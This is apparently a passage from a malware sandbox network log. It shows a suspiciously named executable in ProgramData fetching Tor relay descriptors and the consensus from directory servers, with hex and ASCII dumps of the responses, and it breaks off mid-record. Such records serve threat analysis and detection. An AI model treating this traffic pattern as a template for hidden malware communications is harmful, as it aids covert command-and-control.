32 30 38 46 33 42 35 34 43 39 34 36 36 33 42 44 41 34 42 42 41 39 45 41 34 36 38 38 39 35 33 20 46 6b 7a 77 47 61 56 66 32 64 33 57 75 4a 35 31 35 38 67 47 47 5a 38 49 46 6e 37 38 30 6c 70 48 34 55 42 48 47 51 52 6c 79 4b 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 59 39 51 49 68 2f 79 69 58 64 4a 51 31 79 51 58 64 6a 53 6f 6e 68 54 6b 6a 41 67 58 4d 34 58 7a 6e 38 75 78 77 79 44 73 4e 7a 65 57 6a 31 54 5a 45 54 36 5a 57 5a 0a 6c 32 47 52 4b 41 4e 46 77 46 53 56 52 49 63 6d 69 34 33 75 75 63 54 69 43 7a 48 31 65 72 53 72 57 30 6b 52 4a 62 65 62 4a 65 4a 68 43 35 77 69 74 51 52 76 4a 49 63 6b 75 79 49 4f 74 37 30 64 0a 43 68 76 31 36 6b 77 55 4a 4d 69 63 7a 79 44 70 59 2f 77 37 5a 6c 32 76 43 6c 6a 59 69 6e 79 33 73 4b 57 42 70 58 41 35 5a 41 61 2b 79 4e 75 70 67 42 6e 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 42 46 39 45 44 68 4c 53 Data Ascii: router GalaxyNewsRadio 84.62.245.6 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxUxAVbs1PI0VDEFUz55fRfxh+7MGNrA5t5aN3IesGfsUqxQAQAgBABBQHKwM8IGgQ9dK2R4NMgzsLz/onx3FQItuxRviMt6HWhSKcoj6ewElNnaP4YoESMzdmvsKUrrzYeLejw33pUH8qKCproA73Xm+dRyD8S2r6+FSrkvCwUuxtAkPA51bQU=-----END ED25519 CERT-----master-key-ed25519 QUBysDPCBoEPXStkeDTIM7C8/6J8dxUCLbsUb4jLeh0platform Tor 0.4.7.10 on OpenBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 01:14:47fingerprint 45BC 9917 F7E1 3770 736B BFFC 22E6 F170 E14E 16ECuptime 129794bandwidth 2048000 4096000 2354662extra-info-digest D555E5B38208F3B54C94663BDA4BBA9EA4688953 FkzwGaVf2d3WuJ5158gGGZ8IFn780lpH4UBHGQRlyKoonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALY9QIh/yiXdJQ1yQXdjSonhTkjAgXM4Xzn8uxwyDsNzeWj1TZET6ZWZl2GRKANFwFSVRIcmi43uucTiCzH1erSrW0kRJbebJeJhC5witQRvJIckuyIOt70dChv16kwUJMiczyDpY/w7Zl2vCljYiny3sKWBpXA5ZAa+yNupgBn5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALBF9EDhLS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49753	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:45.339710951 CET	7897	OUT	GET /tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:45.385582924 CET	7898	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:31 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:31 GMT Data Raw: 72 6f 75 74 65 72 20 38 34 31 32 30 33 34 31 30 33 37 38 30 32 33 37 20 32 30 39 2e 31 34 31 2e 33 37 2e 39 34 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 61 4c 41 65 53 79 6a 35 7a 47 4c 76 6e 7a 72 59 69 6c 67 6a 71 75 50 48 52 4b 5a 37 63 6d 34 63 57 6d 39 71 35 52 53 4e 73 63 4d 65 44 65 41 51 41 67 42 41 42 64 4b 72 4e 74 0a 4d 69 34 61 42 4f 6d 70 31 74 6e 79 48 4b 68 62 53 59 63 37 55 7a 4b 37 6a 51 4d 4b 59 7a 37 6c 70 4e 52 4a 4b 36 38 62 48 34 35 4c 50 41 37 33 74 34 65 4c 47 67 4b 31 6d 6f 66 4b 77 75 30 48 0a 38 71 30 2f 38 4d 43 4e 68 2f 78 75 5a 4f 2f 4d 71 4c 74 74 57 62 49 32 42 61 61 64 59 30 45 35 35 6b 43 46 74 4f 6d 51 59 45 79 64 4f 46 76 62 47 41 65 33 6f 4b 61 33 56 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 58 53 71 7a 62 54 49 75 47 67 54 70 71 64 62 5a 38 68 79 6f 57 30 6d 48 4f 31 4d 79 75 34 30 44 43 6d 4d 2b 35 61 54 55 53 53 73 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 34 3a 30 33 3a 34 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 32 44 38 20 33 32 46 30 20 30 32 44 34 20 43 41 33 44 20 32 35 41 44 20 44 41 32 43 20 42 42 42 32 20 44 30 39 45 20 45 34 31 41 20 31 35 41 42 0a 75 70 74 69 6d 65 20 33 39 33 38 35 39 38 0a 62 61 6e 64 77 69 64 74 68 20 33 30 37 32 30 30 30 20 31 30 37 33 37 34 31 38 32 34 20 37 36 32 35 35 37 39 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 35 31 41 46 42 32 34 46 44 45 32 35 33 43 30 46 30 42 45 46 32 37 42 41 45 38 33 46 42 45 30 38 46 33 36 42 43 38 39 20 33 68 6d 57 74 54 44 36 43 68 49 41 47 6d 73 4f 4a 43 48 37 7a 6a 4f 62 33 77 58 47 4a 42 2b 57 59 56 4f 48 6c 6a 55 7a 33 35 51 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 32 4a 31 34 33 34 4f 4e 63 41 49 37 70 75 37 33 51 35 41 38 56 64 42 4f 69 61 63 35 33 59 74 46 62 31 78 44 64 43 6a 31 57 4d 4d 65 52 46 76 4d 51 44 4a 45 58 36 0a 38 71 72 48 50 6f 45 31 63 4e 4e 32 59 6e 44 6f 74 4f 7a 76 4e 62 64 4a 36 79 69 32 62 6a 5a 61 41 62 31 6d 64 49 52 43 6c 56 6f 4b 38 49 41 31 5a 30 41 79 58 72 51 76 53 57 61 37 6d 7a 31 36 0a 47 2f 32 6e 39 6f 71 44 47 79 39 77 67 78 2b 57 6b 45 42 41 46 6e 33 37 39 70 55 34 78 78 57 41 42 34 4b 6d 4f 46 31 2f 49 67 2f 34 75 73 43 63 43 57 55 64 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 39 55 41 Data Ascii: router 8412034103780237 209.141.37.94 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxaLAeSyj5zGLvnzrYilgjquPHRKZ7cm4cWm9q5RSNscMeDeAQAgBABdKrNtMi4aBOmp1tnyHKhbSYc7UzK7jQMKYz7lpNRJK68bH45LPA73t4eLGgK1mofKwu0H8q0/8MCNh/xuZO/MqLttWbI2BaadY0E55kCFtOmQYEydOFvbGAe3oKa3VA4=-----END ED25519 CERT-----master-key-ed25519 XSqzbTIuGgTpqdbZ8hyoW0mHO1Myu40DCmM+5aTUSSsplatform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 04:03:47fingerprint 02D8 32F0 02D4 CA3D 25AD DA2C BBB2 D09E E41A 15ABuptime 3938598bandwidth 3072000 1073741824 7625579extra-info-digest F51AFB24FDE253C0F0BEF27BAE83FBE08F36BC89 3hmWtTD6ChIAGmsOJCH7zjOb3wXGJB+WYVOHljUz35Qonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAK2J1434ONcAI7pu73Q5A8VdBOiac53YtFb1xDdCj1WMMeRFvMQDJEX68qrHPoE1cNN2YnDotOzvNbdJ6yi2bjZaAb1mdIRClVoK8IA1Z0AyXrQvSWa7mz16G/2n9oqDGy9wgx+WkEBAFn379pU4xxWAB4KmOF1/Ig/4usCcCWUdAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAN9UA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49758	86.59.21.38	80	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:57.544032097 CET	7913	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:57.794470072 CET	7914	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:58.107022047 CET	7914	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:58.716414928 CET	7914	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:59.919744968 CET	7914	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:27:01.122922897 CET	7915	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:27:02.326112986 CET	7915	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:27:04.732702971 CET	7919	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 86.59.21.38 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:27:07.636687994 CET	7920	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:57 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Sun, 11 Dec 2022 09:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 32 2d 31 32 2d 31 31 20 30 38 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 32 2d 31 31 20 30 39 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 32 2d 31 31 20 31 31 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4d 69 64 64 6c 65 4f 6e 6c 79 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 70 61 72 61 6d 73 20 43 69 72 63 75 69 74 50 72 69 6f 72 69 74 79 48 61 6c 66 6c 69 66 65 4d 73 65 63 3d 33 30 30 30 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 42 75 72 73 74 3d 36 30 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2022-12-11 08:00:00fresh-until 2022-12-11 09:00:00valid-until 2022-12-11 11:00:00voting-delay 300 300client-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12server-versions 0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.5.15,0.4.7.7,0.4.7.8,0.4.7.10,0.4.7.11,0.4.7.12known-flags Authority BadExit Exit Fast Guard HSDir MiddleOnly NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCrea
Dec 11, 2022 09:27:07.636723042 CET	7921	IN	Data Raw: 74 69 6f 6e 45 6e 61 62 6c 65 64 3d 31 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 4d 69 6e 43 6f 6e 6e 65 63 74 69 6f 6e 73 3d 32 20 44 6f 53 43 69 72 63 75 69 74 43 72 65 61 74 69 6f 6e 52 61 74 65 3d 32 20 44 6f 53 43 6f 6e 6e 65 Data Ascii: tionEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate=2 DoSConnectionEnabled=1 DoSConnectionMaxConcurrentCount=50 DoSRefuseSingleHopClientRendezvous=1 ExtendByEd25519ID=1 KISTSchedRunInterval=2 NumNTorsPerTAP=100 UseOptimisti
Dec 11, 2022 09:27:07.658849955 CET	7922	IN	Data Raw: 65 5f 70 65 72 63 65 6e 74 3d 35 30 30 20 73 65 6e 64 6d 65 5f 65 6d 69 74 5f 6d 69 6e 5f 76 65 72 73 69 6f 6e 3d 31 0a 73 68 61 72 65 64 2d 72 61 6e 64 2d 70 72 65 76 69 6f 75 73 2d 76 61 6c 75 65 20 38 20 4f 55 58 73 33 33 5a 36 6a 77 43 61 43 Data Ascii: e_percent=500 sendme_emit_min_version=1shared-rand-previous-value 8 OUXs33Z6jwCaC7+01M0edsV3bfQTozE0XT1G+S9nMBM=shared-rand-current-value 8 zXIuCMixcVdQiw7MqOKRh96/AoG3SQusUgMfgw4Gezk=dir-source dannenberg 0232AF901C31A04EE9848595AF9BB7620D
Dec 11, 2022 09:27:07.658931017 CET	7923	IN	Data Raw: 36 36 2e 33 33 2e 34 35 20 38 30 20 34 34 33 0a 63 6f 6e 74 61 63 74 20 65 6d 61 69 6c 3a 75 73 75 72 61 5b 5d 73 61 62 6f 74 61 67 65 2e 6f 72 67 20 75 72 6c 3a 68 74 74 70 73 3a 2f 2f 33 38 36 62 73 64 2e 6e 65 74 20 70 72 6f 6f 66 3a 75 72 69 Data Ascii: 66.33.45 80 443contact email:usura[]sabotage.org url:https://386bsd.net proof:uri-rsa abuse:abuse[]sabotage.net twitter:adejoode ciissversion:2vote-digest 69686C901A02C875F25F646E9DE068CADA61BFB9dir-source gabelmoo ED03BB616EB2F60BEC8015111

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49702	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:18.045205116 CET	2647	OUT	GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:18.094584942 CET	2649	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:18 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:18 GMT Data Raw: 72 6f 75 74 65 72 20 55 6e 6e 61 6d 65 64 20 31 34 34 2e 32 31 37 2e 39 35 2e 31 32 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 64 68 41 56 35 4d 4f 7a 73 6c 64 30 72 7a 33 74 35 74 63 68 77 6b 4d 35 6e 45 4a 38 30 31 32 42 72 4b 42 59 4b 63 6f 38 4a 31 2f 32 47 42 41 51 41 67 42 41 41 6c 6c 66 4e 36 0a 48 5a 38 4d 73 39 51 59 53 72 4a 36 79 61 66 4e 49 55 43 39 33 4e 49 6b 37 6f 50 49 71 54 4b 50 75 5a 35 61 4c 7a 32 6d 6b 33 79 51 41 42 51 78 78 79 2b 31 66 48 61 52 32 6a 4c 33 53 42 6a 66 0a 4c 33 76 36 30 6f 53 6b 77 6b 6f 5a 6f 6c 5a 51 2b 6c 71 7a 63 33 35 4c 74 6c 66 54 37 62 61 51 69 77 64 58 6f 73 57 39 6f 75 70 39 32 51 74 34 43 70 64 56 36 65 41 6f 74 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4a 5a 58 7a 65 68 32 66 44 4c 50 55 47 45 71 79 65 73 6d 6e 7a 53 46 41 76 64 7a 53 4a 4f 36 44 79 4b 6b 79 6a 37 6d 65 57 69 38 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 36 30 37 3a 35 33 30 30 3a 32 30 31 3a 33 30 30 30 3a 3a 34 39 62 65 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 37 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 31 39 3a 32 35 3a 35 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 38 38 38 35 20 45 41 36 46 20 37 34 41 36 20 39 34 38 32 20 35 42 31 33 20 42 38 41 37 20 30 38 30 46 20 36 43 46 31 20 36 34 44 46 20 37 34 46 42 0a 75 70 74 69 6d 65 20 31 39 32 32 33 30 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 36 30 35 36 32 35 35 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 45 46 34 44 32 39 38 31 32 43 45 44 32 35 38 41 45 36 38 35 33 30 32 35 34 43 39 31 46 41 31 38 45 42 42 45 43 43 30 34 20 66 58 38 38 55 33 65 73 39 42 63 4b 4f 48 31 74 57 55 57 34 59 62 6a 4b 70 58 39 30 6f 36 65 6a 56 5a 4b 72 56 39 74 44 68 63 59 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 4b 6f 6c 6d 4d 4b 31 4d 4a 6a 51 37 6b 44 53 53 73 58 58 7a 48 79 6c 45 71 31 75 57 76 57 61 37 79 39 6a 71 2f 2f 67 74 47 6b 78 30 6a 6f 41 2b 4d 57 50 54 32 30 0a 42 74 79 69 64 4f 53 5a 32 71 67 4e 31 64 2f 33 55 49 6c 4b 49 78 69 4d 37 4c 61 57 61 66 63 76 76 75 4c 73 57 55 65 61 79 5a 47 73 6b 39 56 79 71 59 65 67 30 6e 6a 69 64 50 47 32 37 33 2f 32 0a 37 49 50 31 65 7a 4e 37 48 2f 6a 6d 4e 4f 75 47 39 4a 75 77 4c 71 44 38 41 4d 79 52 75 75 66 73 66 38 48 66 43 45 74 75 57 48 58 2f 4a 2b 49 32 46 5a 79 4e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router Unnamed 144.217.95.12 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxdhAV5MOzsld0rz3t5tchwkM5nEJ8012BrKBYKco8J1/2GBAQAgBAAllfN6HZ8Ms9QYSrJ6yafNIUC93NIk7oPIqTKPuZ5aLz2mk3yQABQxxy+1fHaR2jL3SBjfL3v60oSkwkoZolZQ+lqzc35LtlfT7baQiwdXosW9oup92Qt4CpdV6eAotgM=-----END ED25519 CERT-----master-key-ed25519 JZXzeh2fDLPUGEqyesmnzSFAvdzSJO6DyKkyj7meWi8or-address [2607:5300:201:3000::49be]:9001platform Tor 0.4.7.7 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 19:25:55fingerprint 8885 EA6F 74A6 9482 5B13 B8A7 080F 6CF1 64DF 74FBuptime 192230bandwidth 1073741824 1073741824 16056255extra-info-digest EF4D29812CED258AE68530254C91FA18EBBECC04 fX88U3es9BcKOH1tWUW4YbjKpX90o6ejVZKrV9tDhcYonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMKolmMK1MJjQ7kDSSsXXzHylEq1uWvWa7y9jq//gtGkx0joA+MWPT20BtyidOSZ2qgN1d/3UIlKIxiM7LaWafcvvuLsWUeayZGsk9VyqYeg0njidPG273/27IP1ezN7H/jmNOuG9JuwLqD8AMyRuufsf8HfCEtuWHX/J+I2FZyNAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49703	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
